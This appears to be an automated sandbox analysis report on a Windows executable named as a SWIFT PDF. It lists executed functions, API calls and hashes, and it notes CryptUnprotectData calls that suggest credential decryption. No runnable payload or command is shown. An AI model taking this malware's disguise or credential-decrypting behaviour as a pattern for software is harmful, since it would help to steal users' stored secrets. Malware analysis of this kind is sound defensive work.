Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: SWIFT091816-24_pdf.exePID: 7844, Parent PID: 7284COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	254
Total number of Limit Nodes:	14

Executed Functions

Function 394ED6C1 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$zO9, xrefs: 394ED762
<0?8, xrefs: 394EDAD0
$zO9, xrefs: 394EDA20
$zO9, xrefs: 394EDA14
$zO9, xrefs: 394ED76E

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: $zO9$$zO9$$zO9$$zO9$<0?8
API String ID: 0-4027080649
Opcode ID: 7b38f8bcebe8c217329a6026afe915e3d7e3561ba951f9324b5642d7e8d4b3f1
Instruction ID: 56ecb75de723f952e5b2edd9558ce92214274ac586255b175ec0f9d472191f3d
Opcode Fuzzy Hash: 7b38f8bcebe8c217329a6026afe915e3d7e3561ba951f9324b5642d7e8d4b3f1
Instruction Fuzzy Hash: 68D14879E00309CFEB04DFA5C844B9DBBB2BF88305F558558D405AF3A5DB71A946CB90

Function 36004328 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 360045A1
PH^q, xrefs: 36004590
0oAp, xrefs: 360043AA
LjAp, xrefs: 36004518
LjAp, xrefs: 3600452E

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: e73e569321816b4c782701ad12982d15f7f9b17465848ed6aba863aa70311348
Instruction ID: 4addcf03ae7c8aeb55e0e1ec9760724fbe571d80864b928fe544e3d37998cd01
Opcode Fuzzy Hash: e73e569321816b4c782701ad12982d15f7f9b17465848ed6aba863aa70311348
Instruction Fuzzy Hash: 5581C774E00218DFEB14CFA9D984A9DBBF2BF89301F14D0A9E418AB365DB349985CF54

Function 36008E0C Relevance: 4.8, Strings: 3, Instructions: 1079COMMON

Download Yara Rule

Strings

4'^q, xrefs: 36008ECC
4'^q, xrefs: 36009AD3
(o^q, xrefs: 360094D8

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q
API String ID: 0-3969877745
Opcode ID: 5240103dc53c32646858b988ebc65aaa0a4c5a767c860448f28a384f1b001d07
Instruction ID: e3e8a8de661f61eb9c42e262d222be70fa67041eb1be0f81abf7b7a25f0e1e8b
Opcode Fuzzy Hash: 5240103dc53c32646858b988ebc65aaa0a4c5a767c860448f28a384f1b001d07
Instruction Fuzzy Hash: 83929F74A00209CFEB05CF69C985A9EBFF6FF89304F258599E4459B261DB30E981CF91

Function 360027B9 Relevance: 3.2, Strings: 2, Instructions: 716
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 36002C95
Xbq, xrefs: 36002CBE

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: 5472fc7883dca40e2e1c3967676c8d5c76399d8c9f2fb97c7472f03ed9182049
Instruction ID: 4d9c1a70f604c75a47b896d0a741b41421bfc1b8112d7e09b81f7a5a3326f0ed
Opcode Fuzzy Hash: 5472fc7883dca40e2e1c3967676c8d5c76399d8c9f2fb97c7472f03ed9182049
Instruction Fuzzy Hash: F632D5A395D3D66FDB270B384CB9280BFA19F67260B6A09DFD0C046097E69119C7C727

Function 394EE7C8 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

Te^q, xrefs: 394EF17D

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 28cfbd93f0844060c3d514d051948ec6e161b7400e3e93ca4eaadf37bc108f21
Instruction ID: 041d7147a73632e183f82cb43155b32d87d97a2d91b797ac978a25854a0d6d4d
Opcode Fuzzy Hash: 28cfbd93f0844060c3d514d051948ec6e161b7400e3e93ca4eaadf37bc108f21
Instruction Fuzzy Hash: 1482D474A40218CFDB25DF64C995BADBBB2FB89300F5085E9D409A7364DB35AE82CF50

Function 38FBBDF0 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

Te^q, xrefs: 38FBC796

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: f0fa2f1d6e8a95cf1a594ac02497606b6c74beee9b9fecf25342ea8f0a1f20a0
Instruction ID: 64ab79ea26c39b7812c5357973e027cbf06253fbcf2dd3c172a5c36123b56121
Opcode Fuzzy Hash: f0fa2f1d6e8a95cf1a594ac02497606b6c74beee9b9fecf25342ea8f0a1f20a0
Instruction Fuzzy Hash: CE72B274A41218CFDB25DF64C995BADBBB2FB89300F5085E9D409A7364CB35AE82CF50

Function 3841D9D9 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3841DA45

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 905e76675feaf690bea8d633389b3a123e545710977790c2181aa669f8d85ef3
Instruction ID: 6b66a4abcec9c58d8f2796cf980572b262fad03611d9e137dbd06bc9378c3b74
Opcode Fuzzy Hash: 905e76675feaf690bea8d633389b3a123e545710977790c2181aa669f8d85ef3
Instruction Fuzzy Hash: 281167B6800249DFDB10CF99C445BEEBFF0EF48320F148419E959A7611C339A591CFA1

Function 3841D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 3841DA45

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: d74083675e34f89ec0c5cb5813811d02e3410a25d708892e76713eed2ae4fb55
Instruction ID: a0fed3dc75ec2572cba2b01bad58644f9cdc38b39bc5f018224df26c3f3e9763
Opcode Fuzzy Hash: d74083675e34f89ec0c5cb5813811d02e3410a25d708892e76713eed2ae4fb55
Instruction Fuzzy Hash: 211156B6800349DFCB10CF99C805BDEBFF4EB48320F148419EA18A7610C739A950CFA5

Function 38410C1A Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

?8, xrefs: 38410C99

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: ?8
API String ID: 0-494151269
Opcode ID: d7d7b4a235760fa574d66a378f42c2116f3f41293e40b24c201d823a56d47388
Instruction ID: 30580671bf65bb584741d08584437176aed1726e04af67af504151cf48da2cc6
Opcode Fuzzy Hash: d7d7b4a235760fa574d66a378f42c2116f3f41293e40b24c201d823a56d47388
Instruction Fuzzy Hash: 98A1F374E00208CFEB14DFA9C584B9DBBB1BF89304F209269E449AB3A1DB749985CF54

Function 38410C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

?8, xrefs: 38410C99

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: ?8
API String ID: 0-494151269
Opcode ID: 2ec9e8b1408e28451d4a97644566832bff255e7518ba99149677b38f498df932
Instruction ID: 56f1c1810314c15a7927957957ac78bbb6420cc51c9f1e1278e2c0de1702dda1
Opcode Fuzzy Hash: 2ec9e8b1408e28451d4a97644566832bff255e7518ba99149677b38f498df932
Instruction Fuzzy Hash: BAA1D274E00208CFEB14DFA9C984B9DBBB1BF89314F209269E409BB391DB749985CF55

Function 38FBA360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^C8, xrefs: 38FBA640

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0^C8
API String ID: 0-1142653023
Opcode ID: f18ab02f7222201f9a1a374ec41862d66c849fc1d6a229c29f88a6b891729866
Instruction ID: 7abe5882c48ffab48bccb800f9a7594adc80c43ed0ab5755766027000bd06a66
Opcode Fuzzy Hash: f18ab02f7222201f9a1a374ec41862d66c849fc1d6a229c29f88a6b891729866
Instruction Fuzzy Hash: 0DA1A0B5E01228CFEB14CF6AC944B9DBBF2AB89300F14C5AAD408B7254DB745A85CF51

Function 38FB9D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^C8, xrefs: 38FB9FF0

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0^C8
API String ID: 0-1142653023
Opcode ID: 5b86047144133b88adb57f072e1cd958bf5181f0e97be12bc7cdf2a51ad449da
Instruction ID: cb22823dd44113daa5f9f9a344fbd7243c2ad37fc6e069eb183deed77b514824
Opcode Fuzzy Hash: 5b86047144133b88adb57f072e1cd958bf5181f0e97be12bc7cdf2a51ad449da
Instruction Fuzzy Hash: D0A190B5E012288FEB14CF6AC944B9DBBF2AF89300F14C5AAD40CB7255EB745A85CF51

Function 38FBA9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^C8, xrefs: 38FBAC8B

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0^C8
API String ID: 0-1142653023
Opcode ID: 4eae040cf738af2259692545e72fdfbd462312840d9aafedd897944a66e1965b
Instruction ID: 0cad67cb53308c09fde4cd39a04aaaa46bc80e26ac8e9bd537a0fe0863c223f3
Opcode Fuzzy Hash: 4eae040cf738af2259692545e72fdfbd462312840d9aafedd897944a66e1965b
Instruction Fuzzy Hash: E2A1A1B5E012288FEB24CF6AC944B9DFBF2AF89300F14D5AAD408B7255DB345A85CF51

Function 38FB96C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^C8, xrefs: 38FB99A4

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0^C8
API String ID: 0-1142653023
Opcode ID: 853046058504aef1f31688bb500f3470b6e6d0ae1171b52eb7a63ec4e2710f8a
Instruction ID: b14c3d205d6e3a6c962cbcd3dd5a0b01f6ca9c49b916c76eb6c1d7e2ebabb085
Opcode Fuzzy Hash: 853046058504aef1f31688bb500f3470b6e6d0ae1171b52eb7a63ec4e2710f8a
Instruction Fuzzy Hash: 5BA192B5E012288FEB54CF6AC944B9DBBF2AF89300F14D5AAD408B7255EB345A85CF11

Function 38FB96B8 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

0^C8, xrefs: 38FB99A4

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0^C8
API String ID: 0-1142653023
Opcode ID: 33146b31ed4d09d9d81283f72ae1de8ced962f046704aebe0674068c5d230b60
Instruction ID: 7d4f0bf021ba4141dc5c787082f3815fd4754ff8f8a6a927d1fd14ea76aeb16d
Opcode Fuzzy Hash: 33146b31ed4d09d9d81283f72ae1de8ced962f046704aebe0674068c5d230b60
Instruction Fuzzy Hash: 4971B3B5E016288FEB68CF66C944B9DBBF2AF88300F14C5EAD40DA7255DB344A85CF51

Function 38FBA9A0 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

0^C8, xrefs: 38FBAC8B

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: 0^C8
API String ID: 0-1142653023
Opcode ID: 726e458098a3323929b512192b63f7986ce990efe4f764c2c4b4e5302002be78
Instruction ID: 70c9d6e1c293534ef68c1fc00b1da4354b2d99be8ca67b63536188f2cb3f5d3a
Opcode Fuzzy Hash: 726e458098a3323929b512192b63f7986ce990efe4f764c2c4b4e5302002be78
Instruction Fuzzy Hash: 267193B5E016188FEB28CF6AC944B9DBBF2AF88300F14C5EAD40DA7255DB345A85CF51

Function 38FB8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b393007857e63c78bcc626eb8f3cc89e5c478b35080c923b43454df75f422433
Instruction ID: 2badf04e437650b4d16ac9a680e68ab9172ffc6c5868973874194efa7b5d566b
Opcode Fuzzy Hash: b393007857e63c78bcc626eb8f3cc89e5c478b35080c923b43454df75f422433
Instruction Fuzzy Hash: 5E72AEB5E01228CFDB65DF6AC980BD9BBB2BB89340F5095E9D408A7351DB349E81CF50

Function 38FBF136 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5df4a052c277ecf70e4e11d91d8749d5abf6757e13ac814f1909a0f6feced4b
Instruction ID: cbfabef0470bea24bb2c5c3284a2999f7e7d6e79ed9a4bd23affd98ec9e0b3c1
Opcode Fuzzy Hash: b5df4a052c277ecf70e4e11d91d8749d5abf6757e13ac814f1909a0f6feced4b
Instruction Fuzzy Hash: 0412B5B04057458ED32ACFA5C84E1997BB2BF65F28BB04609D3657B2E1E7B4114BCF48

Function 3841C638 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fea39ad751e43cd942ed21e36fdd176f88fe3438e90fa47cefc60253e0d5e37
Instruction ID: ebd6b4412f3441861c17a8022e35a26444d5a293b2e6e0a261cdd54e19fd02ad
Opcode Fuzzy Hash: 9fea39ad751e43cd942ed21e36fdd176f88fe3438e90fa47cefc60253e0d5e37
Instruction Fuzzy Hash: 76E1C374E01218CFEB14CFA5C994B9DBBB2BF89304F2081A9D409B7394DB755A86CF51

Function 384103AF Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fff2e253ef77bdd6f1589207fc798e1caf2d3eaaec205608919ad88fc39c3a4
Instruction ID: c75fcc0d76ee83940190b77b44834faba95a5df6db2e4f83bc2e00b0d0f1c7b0
Opcode Fuzzy Hash: 7fff2e253ef77bdd6f1589207fc798e1caf2d3eaaec205608919ad88fc39c3a4
Instruction Fuzzy Hash: E6D1A074E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D809BB764DB359A86CF50

Function 38FB29B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de4e9a0af92d46896de3348ef9e31cf894bf1e4a5b16f003ea7fe6f9ac5a3d6
Instruction ID: 3cba535cf01f92273a6d2f4795285ced923c125484eff8d4b0282b72c0793541
Opcode Fuzzy Hash: 0de4e9a0af92d46896de3348ef9e31cf894bf1e4a5b16f003ea7fe6f9ac5a3d6
Instruction Fuzzy Hash: 3BC1BD78E00218CFDB55DFA5C994B9DBBB2AF89300F6085A9D408AB364DB359E85CF50

Function 38410F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec94ec9a5ca663a99f89eb6cb7ab3cdae5f5fcc45a7338ec206effa4a41987e1
Instruction ID: 1cffffc2d531ed12538f72de79c1e420a9741f2fa68d45c0a64fe6a8df107ee5
Opcode Fuzzy Hash: ec94ec9a5ca663a99f89eb6cb7ab3cdae5f5fcc45a7338ec206effa4a41987e1
Instruction Fuzzy Hash: 5B91C074D00208CFEB10DFA9C988B9CBBB1BF49314F2092A9E509BB791DB759985CF54

Function 38FBBA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b1ced6387004a7fea4e0dd732ffbf86f4806a8bea322f2df3a1a8a84d996307
Instruction ID: 501721a752b842865235a7e35762ea2f049fb2f8bc9d0d90966e3976023210ac
Opcode Fuzzy Hash: 6b1ced6387004a7fea4e0dd732ffbf86f4806a8bea322f2df3a1a8a84d996307
Instruction Fuzzy Hash: 6E81D5B4E01648CBEB14DFAAD99069DBBF2BF88310F24D929E414AB358DB345942CF50

Function 3600311B Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9adbd63a60457eb1752364e864321258e0f2db7d89e0582af074befe4a783965
Instruction ID: 7e067a98f641da29365499df5abc1c2b463984a24df08828feb759ca34e72890
Opcode Fuzzy Hash: 9adbd63a60457eb1752364e864321258e0f2db7d89e0582af074befe4a783965
Instruction Fuzzy Hash: 14610375E05349CFDB09CFB9D99089DBFB2BF8A300B6484A9E445AB321DB359842CF51

Function 38FB8640 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183dd69042533a1ea420d6ce8779b7f265e7eda68c9bbb1a6c4d145e81d3e469
Instruction ID: ead33c80994b70f6ad428e703767c87295dcf8c1e4c40ef37d62fa930241299f
Opcode Fuzzy Hash: 183dd69042533a1ea420d6ce8779b7f265e7eda68c9bbb1a6c4d145e81d3e469
Instruction Fuzzy Hash: 9B71D2B5E01228CFDB25DF66C9847DDBBB2BF89301F1091AAD409A7350DB349A82CF40

Function 38FBC92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cbf911e8f6a2cb5bbd91cdb7c39360d1893e8addf36f6866361346e33da838f
Instruction ID: d31d5a271a20db6727462800b385b41efff88ee75b8d4e75c09f825478587d4d
Opcode Fuzzy Hash: 9cbf911e8f6a2cb5bbd91cdb7c39360d1893e8addf36f6866361346e33da838f
Instruction Fuzzy Hash: 17611674A40258CFDB25DF64C945BADBB76EB88300F1089AAD90A77364CB359D92DF00

Function 38FB9D00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539c1c274224c11d79276ec7da2c3997e4d8b3cd2c48adb372a5e3a75d2f9f50
Instruction ID: 8d619bc113117da4cf257e057a5a2cd00af909a1d023c69c1d2e8367cd7047e6
Opcode Fuzzy Hash: 539c1c274224c11d79276ec7da2c3997e4d8b3cd2c48adb372a5e3a75d2f9f50
Instruction Fuzzy Hash: 674188B5E016189FEB58CF6BC94479DFAF3AFC8300F14C1AAC54CA6265DB740A868F51

Function 38FBA352 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced0f22674c71d21b8db9d8a35562e4ab47d6af3a6baa39c3079291a23955e20
Instruction ID: 351978ada99150eba09fd518723651cee575ffdc15ccd86296dc65ea0bb7bbdb
Opcode Fuzzy Hash: ced0f22674c71d21b8db9d8a35562e4ab47d6af3a6baa39c3079291a23955e20
Instruction Fuzzy Hash: 934189B1E016188BEB58CF6BC9457C9FAF3AFC9200F04C1AAD54CA6264DB740A868F51

Function 360068E5 Relevance: 6.6, Strings: 5, Instructions: 355
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 36006B58
(o^q, xrefs: 3600687A
(o^q, xrefs: 36006BC7
,bq, xrefs: 36006B68
(o^q, xrefs: 36006BD7

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 97806d3a357a4d410f99b97ae029b94ec9e9a607ab548182ac5866ce5da71dc5
Instruction ID: 15a1fe9aba867e1373e67767e6fefcbbd6ae49d64ede477119066ee8301a246b
Opcode Fuzzy Hash: 97806d3a357a4d410f99b97ae029b94ec9e9a607ab548182ac5866ce5da71dc5
Instruction Fuzzy Hash: D4E17974A102198FEB14CF69C991A9EBFF2FF49310F6085A9E4099B261DB31ED91CF50

Function 394E0978 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 394E09FE
GetCurrentThread.KERNEL32 ref: 394E0A3B
GetCurrentProcess.KERNEL32 ref: 394E0A78
GetCurrentThreadId.KERNEL32 ref: 394E0AD1

Memory Dump Source

Source File: 00000004.00000002.2964098501.00000000394E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 394E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_394e0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: fb547a2c22380ab44f71074605a78db2151542f71f60096e41a42cd2201b8654
Instruction ID: ca5b2aad9f573bb84a6f8c277c35f717842e314504c4ce5dbfab0dc5f5f96906
Opcode Fuzzy Hash: fb547a2c22380ab44f71074605a78db2151542f71f60096e41a42cd2201b8654
Instruction Fuzzy Hash: C25144B0D012498FDB14CFAAC548BEEBFF1AF49304F20855AD419A7360D774A981CF65

Function 394E0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
